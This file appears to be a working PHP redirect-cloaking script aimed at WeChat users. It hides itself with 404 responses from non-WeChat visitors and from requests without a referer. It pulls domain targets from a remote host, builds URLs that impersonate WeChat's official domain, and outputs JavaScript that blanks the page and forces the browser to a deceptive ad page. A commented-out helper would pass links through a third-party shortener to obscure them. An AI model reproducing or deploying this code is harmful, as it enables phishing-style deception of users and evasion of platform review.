<?php
	error_reporting(0);
    if(!strstr($_SERVER['HTTP_USER_AGENT'],"MicroMessenger")) 
    {   
     header('HTTP/1.1 404 Not Found');
     header("status: 404 Not Found");   
    }

    $ursss= $_SERVER["HTTP_REFERER"]; 
    if($ursss=="")  {   
     header('HTTP/1.1 404 Not Found');
     header("status: 404 Not Found");   
    }
    
    function getRandChar($length){
   $str = null;
   $strPol = "abcdefghijklmnopqrstuvwxyz";
   $max = strlen($strPol)-1;

   for($i=0;$i<$length;$i++){
    $str.=$strPol[rand(0,$max)];//rand($min,$max)生成介于min和max两个数之间的一个随机整数
   }

   return $str;
  } 
  function kugou($url) {
    $data = file_get_contents("http://t.service.kugou.com/app/?cmid=5&hash=9123440B47A66FC16609CE46DE7B955D&is_short=1&md5=451a4754d51789b8e3eda5ca9d3b4b05&chl=qzone&codes=1&from=&_=1505454568238&qq-pf-to=pcqq.c2c&url=".urlencode($url));    
    $json = json_decode($data, true);
    return $json['data'];
    }
   $js=getRandChar(8);
    $file = 'http://zhong.applinzi.com/ad.txt'; 
    $content =  @file_get_contents($file); 
    $share = explode("\r\n", $content); 
    $useShare = $share[rand(0, count($share) - 1)];
    $useShare= 'http://mp.weixin.qq.com.m.'.$content.'/ad.html';
    //$useShare = kugou($useShare);

echo <<<Eof
document.title = 'loading...';
   var ua = navigator.userAgent;
if (ua.indexOf("MicroMessenger") > 0) {
    var noreferrer = false;
    try { document.getElementsByTagName("body")[0].outerHTML = "<center>Loading...</center>"; } catch (e) {};
    if (top != window || !document.body){
        top.location.href = '{$useShare}';
    }
    else{
        var a=document.createElement('a');a.href='{$useShare}';if(noreferrer) a.rel='noreferrer';a.click();
    }
};
Eof;
exit;

    
?>